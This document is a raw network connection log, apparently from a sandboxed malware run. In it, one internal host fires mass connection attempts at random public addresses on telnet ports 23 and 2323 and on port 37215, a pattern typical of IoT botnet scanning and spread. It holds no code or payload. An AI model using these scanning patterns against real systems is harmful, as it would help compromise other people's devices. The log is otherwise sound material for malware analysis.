Oct 8, 2024 20:34:52.567847967 CEST	48168	23	192.168.2.14	120.43.36.133
Oct 8, 2024 20:34:52.567848921 CEST	48168	23	192.168.2.14	17.151.181.102
Oct 8, 2024 20:34:52.567868948 CEST	48168	23	192.168.2.14	17.73.181.168
Oct 8, 2024 20:34:52.567869902 CEST	48168	23	192.168.2.14	36.167.221.194
Oct 8, 2024 20:34:52.567869902 CEST	48168	23	192.168.2.14	184.25.15.244
Oct 8, 2024 20:34:52.567877054 CEST	48168	2323	192.168.2.14	12.63.174.20
Oct 8, 2024 20:34:52.567879915 CEST	48168	23	192.168.2.14	60.107.108.234
Oct 8, 2024 20:34:52.567879915 CEST	48168	23	192.168.2.14	169.241.164.239
Oct 8, 2024 20:34:52.567895889 CEST	48168	23	192.168.2.14	103.143.68.71
Oct 8, 2024 20:34:52.567895889 CEST	48168	23	192.168.2.14	70.95.252.43
Oct 8, 2024 20:34:52.567899942 CEST	48168	23	192.168.2.14	183.101.28.18
Oct 8, 2024 20:34:52.567905903 CEST	48168	23	192.168.2.14	112.121.13.149
Oct 8, 2024 20:34:52.567905903 CEST	48168	23	192.168.2.14	172.198.226.39
Oct 8, 2024 20:34:52.567924976 CEST	48168	23	192.168.2.14	76.251.36.203
Oct 8, 2024 20:34:52.567925930 CEST	48168	23	192.168.2.14	138.206.217.41
Oct 8, 2024 20:34:52.567931890 CEST	48168	23	192.168.2.14	89.145.74.142
Oct 8, 2024 20:34:52.567941904 CEST	48168	23	192.168.2.14	39.217.83.206
Oct 8, 2024 20:34:52.567955017 CEST	48168	23	192.168.2.14	204.240.111.76
Oct 8, 2024 20:34:52.567956924 CEST	48168	2323	192.168.2.14	194.200.21.112
Oct 8, 2024 20:34:52.567960024 CEST	48168	23	192.168.2.14	97.17.102.19
Oct 8, 2024 20:34:52.567964077 CEST	48168	23	192.168.2.14	179.135.200.114
Oct 8, 2024 20:34:52.567964077 CEST	48168	23	192.168.2.14	220.252.112.126
Oct 8, 2024 20:34:52.567979097 CEST	48168	23	192.168.2.14	93.5.104.56
Oct 8, 2024 20:34:52.567980051 CEST	48168	23	192.168.2.14	53.126.139.224
Oct 8, 2024 20:34:52.567986965 CEST	48168	23	192.168.2.14	60.201.99.88
Oct 8, 2024 20:34:52.567989111 CEST	48168	23	192.168.2.14	117.243.208.62
Oct 8, 2024 20:34:52.568012953 CEST	48168	23	192.168.2.14	39.255.116.126
Oct 8, 2024 20:34:52.568020105 CEST	48168	2323	192.168.2.14	48.124.95.231
Oct 8, 2024 20:34:52.568026066 CEST	48168	23	192.168.2.14	42.53.210.144
Oct 8, 2024 20:34:52.568027020 CEST	48168	23	192.168.2.14	153.146.221.230
Oct 8, 2024 20:34:52.568028927 CEST	48168	23	192.168.2.14	175.74.103.182
Oct 8, 2024 20:34:52.568028927 CEST	48168	23	192.168.2.14	164.183.223.180
Oct 8, 2024 20:34:52.568032026 CEST	48168	23	192.168.2.14	194.89.216.134
Oct 8, 2024 20:34:52.568033934 CEST	48168	23	192.168.2.14	68.72.238.115
Oct 8, 2024 20:34:52.568033934 CEST	48168	23	192.168.2.14	111.119.3.21
Oct 8, 2024 20:34:52.568038940 CEST	48168	23	192.168.2.14	197.130.157.157
Oct 8, 2024 20:34:52.568053007 CEST	48168	23	192.168.2.14	170.108.49.55
Oct 8, 2024 20:34:52.568053961 CEST	48168	2323	192.168.2.14	90.24.106.242
Oct 8, 2024 20:34:52.568053007 CEST	48168	23	192.168.2.14	92.34.238.163
Oct 8, 2024 20:34:52.568053961 CEST	48168	23	192.168.2.14	40.195.180.109
Oct 8, 2024 20:34:52.568068981 CEST	48168	23	192.168.2.14	141.154.172.150
Oct 8, 2024 20:34:52.568077087 CEST	48168	23	192.168.2.14	18.241.66.175
Oct 8, 2024 20:34:52.568080902 CEST	48168	23	192.168.2.14	169.227.92.28
Oct 8, 2024 20:34:52.568080902 CEST	48168	23	192.168.2.14	93.238.88.191
Oct 8, 2024 20:34:52.568089962 CEST	48168	23	192.168.2.14	13.119.152.76
Oct 8, 2024 20:34:52.568098068 CEST	48168	23	192.168.2.14	197.195.238.24
Oct 8, 2024 20:34:52.568118095 CEST	48168	23	192.168.2.14	157.203.123.241
Oct 8, 2024 20:34:52.570800066 CEST	23	33654	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:52.572176933 CEST	37215	37268	197.235.13.125	192.168.2.14
Oct 8, 2024 20:34:52.572206020 CEST	37215	60678	156.100.4.160	192.168.2.14
Oct 8, 2024 20:34:52.572235107 CEST	37215	57476	197.130.245.62	192.168.2.14
Oct 8, 2024 20:34:52.572269917 CEST	23	33910	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:52.572326899 CEST	33910	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:52.572535038 CEST	2323	48168	97.82.163.94	192.168.2.14
Oct 8, 2024 20:34:52.572582960 CEST	48168	2323	192.168.2.14	97.82.163.94
Oct 8, 2024 20:34:52.575495005 CEST	46446	37215	192.168.2.14	197.169.47.72
Oct 8, 2024 20:34:52.575500011 CEST	53346	37215	192.168.2.14	197.49.62.7
Oct 8, 2024 20:34:52.575500965 CEST	55294	37215	192.168.2.14	197.181.201.71
Oct 8, 2024 20:34:52.575500965 CEST	39650	37215	192.168.2.14	156.93.186.164
Oct 8, 2024 20:34:52.575524092 CEST	46462	37215	192.168.2.14	156.26.18.94
Oct 8, 2024 20:34:52.575524092 CEST	33516	37215	192.168.2.14	197.206.88.239
Oct 8, 2024 20:34:52.575530052 CEST	37215	39694	197.19.239.208	192.168.2.14
Oct 8, 2024 20:34:52.575560093 CEST	37215	42222	197.115.31.20	192.168.2.14
Oct 8, 2024 20:34:52.575589895 CEST	37215	49978	197.56.146.34	192.168.2.14
Oct 8, 2024 20:34:52.575758934 CEST	37215	43358	156.20.24.103	192.168.2.14
Oct 8, 2024 20:34:52.580714941 CEST	37215	46446	197.169.47.72	192.168.2.14
Oct 8, 2024 20:34:52.580806017 CEST	46446	37215	192.168.2.14	197.169.47.72
Oct 8, 2024 20:34:52.580806017 CEST	46446	37215	192.168.2.14	197.169.47.72
Oct 8, 2024 20:34:52.583575964 CEST	37215	34426	156.233.49.226	192.168.2.14
Oct 8, 2024 20:34:52.583606958 CEST	37215	52492	156.224.232.229	192.168.2.14
Oct 8, 2024 20:34:52.583637953 CEST	37215	40966	41.145.207.152	192.168.2.14
Oct 8, 2024 20:34:52.583692074 CEST	37215	43118	197.61.137.233	192.168.2.14
Oct 8, 2024 20:34:52.583720922 CEST	37215	41706	156.212.202.95	192.168.2.14
Oct 8, 2024 20:34:52.583750963 CEST	37215	58528	197.78.132.32	192.168.2.14
Oct 8, 2024 20:34:52.583780050 CEST	37215	42070	41.213.200.73	192.168.2.14
Oct 8, 2024 20:34:52.586469889 CEST	37215	46446	197.169.47.72	192.168.2.14
Oct 8, 2024 20:34:52.586518049 CEST	46446	37215	192.168.2.14	197.169.47.72
Oct 8, 2024 20:34:52.587488890 CEST	37215	35306	156.172.212.115	192.168.2.14
Oct 8, 2024 20:34:52.587519884 CEST	37215	59808	197.129.240.243	192.168.2.14
Oct 8, 2024 20:34:52.587548971 CEST	37215	40878	197.10.242.92	192.168.2.14
Oct 8, 2024 20:34:52.591763973 CEST	37215	60088	156.155.185.214	192.168.2.14
Oct 8, 2024 20:34:52.591844082 CEST	37215	53188	41.154.117.250	192.168.2.14
Oct 8, 2024 20:34:52.595892906 CEST	37215	51932	156.214.68.98	192.168.2.14
Oct 8, 2024 20:34:52.595922947 CEST	37215	35338	197.200.173.97	192.168.2.14
Oct 8, 2024 20:34:52.603538990 CEST	37215	33352	41.231.143.196	192.168.2.14
Oct 8, 2024 20:34:53.002705097 CEST	2323	36248	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:53.002893925 CEST	36248	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:53.003536940 CEST	36498	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:53.007988930 CEST	2323	36248	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:53.008837938 CEST	2323	36498	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:53.008945942 CEST	36498	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:53.216797113 CEST	23	46156	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:53.217066050 CEST	46156	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:53.218641043 CEST	46410	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:53.223845959 CEST	23	46156	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:53.224970102 CEST	23	46410	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:53.225065947 CEST	46410	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:53.535501957 CEST	43312	37215	192.168.2.14	197.61.137.233
Oct 8, 2024 20:34:53.535511017 CEST	39890	37215	192.168.2.14	197.19.239.208
Oct 8, 2024 20:34:53.535511971 CEST	42416	37215	192.168.2.14	197.115.31.20
Oct 8, 2024 20:34:53.535516024 CEST	58722	37215	192.168.2.14	197.78.132.32
Oct 8, 2024 20:34:53.535516024 CEST	60822	37215	192.168.2.14	156.100.4.160
Oct 8, 2024 20:34:53.535522938 CEST	43498	37215	192.168.2.14	156.20.24.103
Oct 8, 2024 20:34:53.535522938 CEST	37412	37215	192.168.2.14	197.235.13.125
Oct 8, 2024 20:34:53.535526991 CEST	34620	37215	192.168.2.14	156.233.49.226
Oct 8, 2024 20:34:53.535526991 CEST	35254	37215	192.168.2.14	41.210.137.100
Oct 8, 2024 20:34:53.535547018 CEST	51428	37215	192.168.2.14	41.201.10.202
Oct 8, 2024 20:34:53.535552979 CEST	36226	37215	192.168.2.14	41.146.184.33
Oct 8, 2024 20:34:53.535557032 CEST	47522	37215	192.168.2.14	156.22.71.139
Oct 8, 2024 20:34:53.535573959 CEST	50174	37215	192.168.2.14	197.56.146.34
Oct 8, 2024 20:34:53.535573959 CEST	43678	37215	192.168.2.14	156.110.224.192
Oct 8, 2024 20:34:53.541584969 CEST	37215	43312	197.61.137.233	192.168.2.14
Oct 8, 2024 20:34:53.541604042 CEST	37215	39890	197.19.239.208	192.168.2.14
Oct 8, 2024 20:34:53.541619062 CEST	37215	58722	197.78.132.32	192.168.2.14
Oct 8, 2024 20:34:53.541634083 CEST	37215	42416	197.115.31.20	192.168.2.14
Oct 8, 2024 20:34:53.541685104 CEST	37215	43498	156.20.24.103	192.168.2.14
Oct 8, 2024 20:34:53.541698933 CEST	37215	60822	156.100.4.160	192.168.2.14
Oct 8, 2024 20:34:53.541712999 CEST	58722	37215	192.168.2.14	197.78.132.32
Oct 8, 2024 20:34:53.541712999 CEST	39890	37215	192.168.2.14	197.19.239.208
Oct 8, 2024 20:34:53.541711092 CEST	43312	37215	192.168.2.14	197.61.137.233
Oct 8, 2024 20:34:53.541727066 CEST	37215	37412	197.235.13.125	192.168.2.14
Oct 8, 2024 20:34:53.541728973 CEST	42416	37215	192.168.2.14	197.115.31.20
Oct 8, 2024 20:34:53.541743994 CEST	60822	37215	192.168.2.14	156.100.4.160
Oct 8, 2024 20:34:53.541747093 CEST	43498	37215	192.168.2.14	156.20.24.103
Oct 8, 2024 20:34:53.541754007 CEST	37215	34620	156.233.49.226	192.168.2.14
Oct 8, 2024 20:34:53.541769028 CEST	37215	51428	41.201.10.202	192.168.2.14
Oct 8, 2024 20:34:53.541769981 CEST	37412	37215	192.168.2.14	197.235.13.125
Oct 8, 2024 20:34:53.541783094 CEST	37215	35254	41.210.137.100	192.168.2.14
Oct 8, 2024 20:34:53.541796923 CEST	37215	36226	41.146.184.33	192.168.2.14
Oct 8, 2024 20:34:53.541809082 CEST	37215	47522	156.22.71.139	192.168.2.14
Oct 8, 2024 20:34:53.541822910 CEST	37215	50174	197.56.146.34	192.168.2.14
Oct 8, 2024 20:34:53.541836023 CEST	36226	37215	192.168.2.14	41.146.184.33
Oct 8, 2024 20:34:53.541836977 CEST	47522	37215	192.168.2.14	156.22.71.139
Oct 8, 2024 20:34:53.541851997 CEST	37215	43678	156.110.224.192	192.168.2.14
Oct 8, 2024 20:34:53.541856050 CEST	50174	37215	192.168.2.14	197.56.146.34
Oct 8, 2024 20:34:53.541867971 CEST	39890	37215	192.168.2.14	197.19.239.208
Oct 8, 2024 20:34:53.541884899 CEST	34620	37215	192.168.2.14	156.233.49.226
Oct 8, 2024 20:34:53.541884899 CEST	35254	37215	192.168.2.14	41.210.137.100
Oct 8, 2024 20:34:53.541888952 CEST	51428	37215	192.168.2.14	41.201.10.202
Oct 8, 2024 20:34:53.541891098 CEST	43678	37215	192.168.2.14	156.110.224.192
Oct 8, 2024 20:34:53.541902065 CEST	58722	37215	192.168.2.14	197.78.132.32
Oct 8, 2024 20:34:53.541908026 CEST	43312	37215	192.168.2.14	197.61.137.233
Oct 8, 2024 20:34:53.541908979 CEST	42416	37215	192.168.2.14	197.115.31.20
Oct 8, 2024 20:34:53.541949034 CEST	48169	37215	192.168.2.14	197.29.2.213
Oct 8, 2024 20:34:53.541954041 CEST	48169	37215	192.168.2.14	41.180.118.96
Oct 8, 2024 20:34:53.541956902 CEST	48169	37215	192.168.2.14	197.197.130.180
Oct 8, 2024 20:34:53.541956902 CEST	48169	37215	192.168.2.14	41.101.62.92
Oct 8, 2024 20:34:53.541959047 CEST	48169	37215	192.168.2.14	156.119.155.67
Oct 8, 2024 20:34:53.541970015 CEST	48169	37215	192.168.2.14	41.253.97.168
Oct 8, 2024 20:34:53.541984081 CEST	48169	37215	192.168.2.14	156.16.162.9
Oct 8, 2024 20:34:53.541990042 CEST	48169	37215	192.168.2.14	197.11.103.109
Oct 8, 2024 20:34:53.541990042 CEST	48169	37215	192.168.2.14	197.19.20.158
Oct 8, 2024 20:34:53.541991949 CEST	48169	37215	192.168.2.14	197.49.8.108
Oct 8, 2024 20:34:53.542004108 CEST	48169	37215	192.168.2.14	197.64.46.11
Oct 8, 2024 20:34:53.542010069 CEST	48169	37215	192.168.2.14	197.44.234.96
Oct 8, 2024 20:34:53.542017937 CEST	48169	37215	192.168.2.14	197.67.37.109
Oct 8, 2024 20:34:53.542032003 CEST	48169	37215	192.168.2.14	197.148.84.111
Oct 8, 2024 20:34:53.542032957 CEST	48169	37215	192.168.2.14	41.141.39.137
Oct 8, 2024 20:34:53.542035103 CEST	48169	37215	192.168.2.14	41.235.138.140
Oct 8, 2024 20:34:53.542048931 CEST	48169	37215	192.168.2.14	41.55.74.90
Oct 8, 2024 20:34:53.542049885 CEST	48169	37215	192.168.2.14	156.42.190.57
Oct 8, 2024 20:34:53.542058945 CEST	48169	37215	192.168.2.14	156.162.179.119
Oct 8, 2024 20:34:53.542061090 CEST	48169	37215	192.168.2.14	197.193.166.227
Oct 8, 2024 20:34:53.542073965 CEST	48169	37215	192.168.2.14	197.117.32.0
Oct 8, 2024 20:34:53.542078018 CEST	48169	37215	192.168.2.14	156.96.29.210
Oct 8, 2024 20:34:53.542078018 CEST	48169	37215	192.168.2.14	156.190.29.125
Oct 8, 2024 20:34:53.542083979 CEST	48169	37215	192.168.2.14	197.148.81.90
Oct 8, 2024 20:34:53.542088032 CEST	48169	37215	192.168.2.14	156.108.238.213
Oct 8, 2024 20:34:53.542100906 CEST	48169	37215	192.168.2.14	41.72.125.133
Oct 8, 2024 20:34:53.542104006 CEST	48169	37215	192.168.2.14	41.6.184.55
Oct 8, 2024 20:34:53.542104006 CEST	48169	37215	192.168.2.14	197.118.155.162
Oct 8, 2024 20:34:53.542124033 CEST	48169	37215	192.168.2.14	156.191.85.75
Oct 8, 2024 20:34:53.542125940 CEST	48169	37215	192.168.2.14	41.48.165.164
Oct 8, 2024 20:34:53.542125940 CEST	48169	37215	192.168.2.14	41.206.221.4
Oct 8, 2024 20:34:53.542133093 CEST	48169	37215	192.168.2.14	197.155.238.96
Oct 8, 2024 20:34:53.542148113 CEST	48169	37215	192.168.2.14	156.92.126.87
Oct 8, 2024 20:34:53.542159081 CEST	48169	37215	192.168.2.14	156.199.193.96
Oct 8, 2024 20:34:53.542159081 CEST	48169	37215	192.168.2.14	156.199.146.184
Oct 8, 2024 20:34:53.542174101 CEST	48169	37215	192.168.2.14	41.173.24.60
Oct 8, 2024 20:34:53.542182922 CEST	48169	37215	192.168.2.14	156.63.48.112
Oct 8, 2024 20:34:53.542196989 CEST	48169	37215	192.168.2.14	41.242.249.142
Oct 8, 2024 20:34:53.542197943 CEST	48169	37215	192.168.2.14	41.47.228.13
Oct 8, 2024 20:34:53.542210102 CEST	48169	37215	192.168.2.14	156.195.141.158
Oct 8, 2024 20:34:53.542210102 CEST	48169	37215	192.168.2.14	156.209.41.239
Oct 8, 2024 20:34:53.542212009 CEST	48169	37215	192.168.2.14	156.143.211.8
Oct 8, 2024 20:34:53.542212009 CEST	48169	37215	192.168.2.14	197.60.215.97
Oct 8, 2024 20:34:53.542232990 CEST	48169	37215	192.168.2.14	156.89.68.228
Oct 8, 2024 20:34:53.542237043 CEST	48169	37215	192.168.2.14	41.128.17.114
Oct 8, 2024 20:34:53.542242050 CEST	48169	37215	192.168.2.14	41.216.80.115
Oct 8, 2024 20:34:53.542249918 CEST	48169	37215	192.168.2.14	156.88.55.106
Oct 8, 2024 20:34:53.542265892 CEST	48169	37215	192.168.2.14	197.199.22.219
Oct 8, 2024 20:34:53.542275906 CEST	48169	37215	192.168.2.14	156.200.232.130
Oct 8, 2024 20:34:53.542278051 CEST	48169	37215	192.168.2.14	41.80.66.31
Oct 8, 2024 20:34:53.542289972 CEST	48169	37215	192.168.2.14	197.0.113.100
Oct 8, 2024 20:34:53.542295933 CEST	48169	37215	192.168.2.14	156.164.174.189
Oct 8, 2024 20:34:53.542295933 CEST	48169	37215	192.168.2.14	197.72.96.94
Oct 8, 2024 20:34:53.542296886 CEST	48169	37215	192.168.2.14	41.212.95.162
Oct 8, 2024 20:34:53.542309999 CEST	48169	37215	192.168.2.14	156.131.248.248
Oct 8, 2024 20:34:53.542309999 CEST	48169	37215	192.168.2.14	41.131.232.150
Oct 8, 2024 20:34:53.542309999 CEST	48169	37215	192.168.2.14	197.44.68.212
Oct 8, 2024 20:34:53.542314053 CEST	48169	37215	192.168.2.14	41.85.252.29
Oct 8, 2024 20:34:53.542318106 CEST	48169	37215	192.168.2.14	197.169.169.230
Oct 8, 2024 20:34:53.542326927 CEST	48169	37215	192.168.2.14	41.253.181.180
Oct 8, 2024 20:34:53.542331934 CEST	48169	37215	192.168.2.14	197.54.69.98
Oct 8, 2024 20:34:53.542337894 CEST	48169	37215	192.168.2.14	197.13.206.248
Oct 8, 2024 20:34:53.542351961 CEST	48169	37215	192.168.2.14	41.134.171.4
Oct 8, 2024 20:34:53.542356968 CEST	48169	37215	192.168.2.14	197.220.0.95
Oct 8, 2024 20:34:53.542357922 CEST	48169	37215	192.168.2.14	41.72.71.138
Oct 8, 2024 20:34:53.542360067 CEST	48169	37215	192.168.2.14	41.53.183.197
Oct 8, 2024 20:34:53.542365074 CEST	48169	37215	192.168.2.14	41.177.243.230
Oct 8, 2024 20:34:53.542381048 CEST	48169	37215	192.168.2.14	41.232.14.171
Oct 8, 2024 20:34:53.542386055 CEST	48169	37215	192.168.2.14	156.166.190.11
Oct 8, 2024 20:34:53.542387962 CEST	48169	37215	192.168.2.14	197.202.98.21
Oct 8, 2024 20:34:53.542402029 CEST	48169	37215	192.168.2.14	197.54.92.12
Oct 8, 2024 20:34:53.542402983 CEST	48169	37215	192.168.2.14	197.210.44.39
Oct 8, 2024 20:34:53.542407990 CEST	48169	37215	192.168.2.14	156.143.127.208
Oct 8, 2024 20:34:53.542407990 CEST	48169	37215	192.168.2.14	197.157.148.255
Oct 8, 2024 20:34:53.542414904 CEST	48169	37215	192.168.2.14	197.51.56.98
Oct 8, 2024 20:34:53.542419910 CEST	48169	37215	192.168.2.14	156.33.51.38
Oct 8, 2024 20:34:53.542419910 CEST	48169	37215	192.168.2.14	156.255.180.53
Oct 8, 2024 20:34:53.542424917 CEST	48169	37215	192.168.2.14	41.123.118.173
Oct 8, 2024 20:34:53.542439938 CEST	48169	37215	192.168.2.14	156.243.42.146
Oct 8, 2024 20:34:53.542439938 CEST	48169	37215	192.168.2.14	156.41.157.113
Oct 8, 2024 20:34:53.542452097 CEST	48169	37215	192.168.2.14	41.160.22.111
Oct 8, 2024 20:34:53.542460918 CEST	48169	37215	192.168.2.14	156.207.78.4
Oct 8, 2024 20:34:53.542467117 CEST	48169	37215	192.168.2.14	197.101.162.245
Oct 8, 2024 20:34:53.542474985 CEST	48169	37215	192.168.2.14	41.212.24.165
Oct 8, 2024 20:34:53.542474985 CEST	48169	37215	192.168.2.14	41.91.49.19
Oct 8, 2024 20:34:53.542483091 CEST	48169	37215	192.168.2.14	156.201.166.226
Oct 8, 2024 20:34:53.542490959 CEST	48169	37215	192.168.2.14	41.17.138.155
Oct 8, 2024 20:34:53.542495012 CEST	48169	37215	192.168.2.14	197.182.148.44
Oct 8, 2024 20:34:53.542500019 CEST	48169	37215	192.168.2.14	156.206.202.193
Oct 8, 2024 20:34:53.542517900 CEST	48169	37215	192.168.2.14	156.134.41.72
Oct 8, 2024 20:34:53.542524099 CEST	48169	37215	192.168.2.14	197.127.183.150
Oct 8, 2024 20:34:53.542526960 CEST	48169	37215	192.168.2.14	197.13.223.76
Oct 8, 2024 20:34:53.542534113 CEST	48169	37215	192.168.2.14	41.82.174.180
Oct 8, 2024 20:34:53.542545080 CEST	48169	37215	192.168.2.14	197.243.170.253
Oct 8, 2024 20:34:53.542556047 CEST	48169	37215	192.168.2.14	41.67.211.56
Oct 8, 2024 20:34:53.542556047 CEST	48169	37215	192.168.2.14	156.169.64.246
Oct 8, 2024 20:34:53.542556047 CEST	48169	37215	192.168.2.14	41.60.205.129
Oct 8, 2024 20:34:53.542560101 CEST	48169	37215	192.168.2.14	41.240.188.17
Oct 8, 2024 20:34:53.542571068 CEST	48169	37215	192.168.2.14	156.35.101.124
Oct 8, 2024 20:34:53.542574883 CEST	48169	37215	192.168.2.14	156.209.186.218
Oct 8, 2024 20:34:53.542574883 CEST	48169	37215	192.168.2.14	197.201.81.87
Oct 8, 2024 20:34:53.542582035 CEST	48169	37215	192.168.2.14	197.182.183.159
Oct 8, 2024 20:34:53.542582035 CEST	48169	37215	192.168.2.14	41.133.211.227
Oct 8, 2024 20:34:53.542588949 CEST	48169	37215	192.168.2.14	197.99.162.123
Oct 8, 2024 20:34:53.542592049 CEST	48169	37215	192.168.2.14	41.142.26.75
Oct 8, 2024 20:34:53.542598963 CEST	48169	37215	192.168.2.14	156.161.225.165
Oct 8, 2024 20:34:53.542604923 CEST	48169	37215	192.168.2.14	41.51.57.255
Oct 8, 2024 20:34:53.542604923 CEST	48169	37215	192.168.2.14	197.22.83.18
Oct 8, 2024 20:34:53.542613983 CEST	48169	37215	192.168.2.14	41.224.146.53
Oct 8, 2024 20:34:53.542623997 CEST	48169	37215	192.168.2.14	197.138.193.5
Oct 8, 2024 20:34:53.542624950 CEST	48169	37215	192.168.2.14	156.68.51.161
Oct 8, 2024 20:34:53.542645931 CEST	48169	37215	192.168.2.14	156.149.193.234
Oct 8, 2024 20:34:53.542645931 CEST	48169	37215	192.168.2.14	156.132.17.232
Oct 8, 2024 20:34:53.542653084 CEST	48169	37215	192.168.2.14	41.77.107.141
Oct 8, 2024 20:34:53.542665005 CEST	48169	37215	192.168.2.14	156.157.94.210
Oct 8, 2024 20:34:53.542668104 CEST	48169	37215	192.168.2.14	41.6.135.96
Oct 8, 2024 20:34:53.542673111 CEST	48169	37215	192.168.2.14	41.36.234.8
Oct 8, 2024 20:34:53.542675018 CEST	48169	37215	192.168.2.14	41.62.188.96
Oct 8, 2024 20:34:53.542681932 CEST	48169	37215	192.168.2.14	156.165.110.109
Oct 8, 2024 20:34:53.542685986 CEST	48169	37215	192.168.2.14	197.172.11.63
Oct 8, 2024 20:34:53.542699099 CEST	48169	37215	192.168.2.14	156.133.31.0
Oct 8, 2024 20:34:53.542706013 CEST	48169	37215	192.168.2.14	156.138.215.131
Oct 8, 2024 20:34:53.542710066 CEST	48169	37215	192.168.2.14	197.41.67.245
Oct 8, 2024 20:34:53.542710066 CEST	48169	37215	192.168.2.14	197.199.238.190
Oct 8, 2024 20:34:53.542726994 CEST	48169	37215	192.168.2.14	197.21.31.150
Oct 8, 2024 20:34:53.542732000 CEST	48169	37215	192.168.2.14	197.64.191.92
Oct 8, 2024 20:34:53.542732000 CEST	48169	37215	192.168.2.14	156.94.38.145
Oct 8, 2024 20:34:53.542732000 CEST	48169	37215	192.168.2.14	156.240.90.139
Oct 8, 2024 20:34:53.542752028 CEST	48169	37215	192.168.2.14	156.108.232.116
Oct 8, 2024 20:34:53.542753935 CEST	48169	37215	192.168.2.14	156.56.207.59
Oct 8, 2024 20:34:53.542753935 CEST	48169	37215	192.168.2.14	41.28.156.38
Oct 8, 2024 20:34:53.542757988 CEST	48169	37215	192.168.2.14	41.44.173.57
Oct 8, 2024 20:34:53.542767048 CEST	48169	37215	192.168.2.14	41.82.174.237
Oct 8, 2024 20:34:53.542768955 CEST	48169	37215	192.168.2.14	41.73.135.47
Oct 8, 2024 20:34:53.542783976 CEST	48169	37215	192.168.2.14	156.248.173.245
Oct 8, 2024 20:34:53.542788029 CEST	48169	37215	192.168.2.14	197.138.185.80
Oct 8, 2024 20:34:53.542793989 CEST	48169	37215	192.168.2.14	156.197.4.218
Oct 8, 2024 20:34:53.542793989 CEST	48169	37215	192.168.2.14	197.147.133.245
Oct 8, 2024 20:34:53.542812109 CEST	48169	37215	192.168.2.14	156.74.170.95
Oct 8, 2024 20:34:53.542817116 CEST	48169	37215	192.168.2.14	156.156.31.204
Oct 8, 2024 20:34:53.542824030 CEST	48169	37215	192.168.2.14	197.28.251.122
Oct 8, 2024 20:34:53.542830944 CEST	48169	37215	192.168.2.14	197.119.227.156
Oct 8, 2024 20:34:53.542840958 CEST	48169	37215	192.168.2.14	197.182.17.11
Oct 8, 2024 20:34:53.542848110 CEST	48169	37215	192.168.2.14	41.121.101.87
Oct 8, 2024 20:34:53.542848110 CEST	48169	37215	192.168.2.14	197.30.39.53
Oct 8, 2024 20:34:53.542867899 CEST	48169	37215	192.168.2.14	156.134.200.55
Oct 8, 2024 20:34:53.542867899 CEST	48169	37215	192.168.2.14	197.246.77.209
Oct 8, 2024 20:34:53.542876005 CEST	48169	37215	192.168.2.14	197.159.32.213
Oct 8, 2024 20:34:53.542881012 CEST	48169	37215	192.168.2.14	197.21.209.181
Oct 8, 2024 20:34:53.542885065 CEST	48169	37215	192.168.2.14	156.253.255.8
Oct 8, 2024 20:34:53.542897940 CEST	48169	37215	192.168.2.14	41.122.238.18
Oct 8, 2024 20:34:53.542903900 CEST	48169	37215	192.168.2.14	41.45.105.254
Oct 8, 2024 20:34:53.542907953 CEST	48169	37215	192.168.2.14	197.93.79.217
Oct 8, 2024 20:34:53.542908907 CEST	48169	37215	192.168.2.14	156.2.37.203
Oct 8, 2024 20:34:53.542912960 CEST	48169	37215	192.168.2.14	197.118.17.198
Oct 8, 2024 20:34:53.542913914 CEST	48169	37215	192.168.2.14	156.182.192.148
Oct 8, 2024 20:34:53.542921066 CEST	48169	37215	192.168.2.14	41.192.13.48
Oct 8, 2024 20:34:53.542928934 CEST	48169	37215	192.168.2.14	197.164.175.138
Oct 8, 2024 20:34:53.542943954 CEST	48169	37215	192.168.2.14	156.120.230.106
Oct 8, 2024 20:34:53.542948008 CEST	48169	37215	192.168.2.14	41.54.196.199
Oct 8, 2024 20:34:53.542962074 CEST	48169	37215	192.168.2.14	156.3.10.241
Oct 8, 2024 20:34:53.542962074 CEST	48169	37215	192.168.2.14	41.117.151.20
Oct 8, 2024 20:34:53.542968035 CEST	48169	37215	192.168.2.14	197.182.170.205
Oct 8, 2024 20:34:53.542968035 CEST	48169	37215	192.168.2.14	156.7.148.39
Oct 8, 2024 20:34:53.542968035 CEST	48169	37215	192.168.2.14	41.162.184.98
Oct 8, 2024 20:34:53.542977095 CEST	48169	37215	192.168.2.14	156.109.20.71
Oct 8, 2024 20:34:53.542989016 CEST	48169	37215	192.168.2.14	41.129.77.225
Oct 8, 2024 20:34:53.542995930 CEST	48169	37215	192.168.2.14	197.119.254.110
Oct 8, 2024 20:34:53.542996883 CEST	48169	37215	192.168.2.14	156.22.24.188
Oct 8, 2024 20:34:53.543004990 CEST	48169	37215	192.168.2.14	197.145.57.18
Oct 8, 2024 20:34:53.543010950 CEST	48169	37215	192.168.2.14	156.194.16.4
Oct 8, 2024 20:34:53.543028116 CEST	48169	37215	192.168.2.14	41.74.98.153
Oct 8, 2024 20:34:53.543032885 CEST	48169	37215	192.168.2.14	156.44.2.225
Oct 8, 2024 20:34:53.543041945 CEST	48169	37215	192.168.2.14	156.34.214.75
Oct 8, 2024 20:34:53.543044090 CEST	48169	37215	192.168.2.14	197.25.18.211
Oct 8, 2024 20:34:53.543044090 CEST	48169	37215	192.168.2.14	197.112.126.27
Oct 8, 2024 20:34:53.543045998 CEST	48169	37215	192.168.2.14	41.83.31.80
Oct 8, 2024 20:34:53.543050051 CEST	48169	37215	192.168.2.14	156.214.29.43
Oct 8, 2024 20:34:53.543062925 CEST	48169	37215	192.168.2.14	197.55.55.106
Oct 8, 2024 20:34:53.543066025 CEST	48169	37215	192.168.2.14	156.67.253.184
Oct 8, 2024 20:34:53.543075085 CEST	48169	37215	192.168.2.14	41.159.188.14
Oct 8, 2024 20:34:53.543081999 CEST	48169	37215	192.168.2.14	156.33.152.157
Oct 8, 2024 20:34:53.543083906 CEST	48169	37215	192.168.2.14	41.112.73.226
Oct 8, 2024 20:34:53.543087959 CEST	48169	37215	192.168.2.14	41.126.80.112
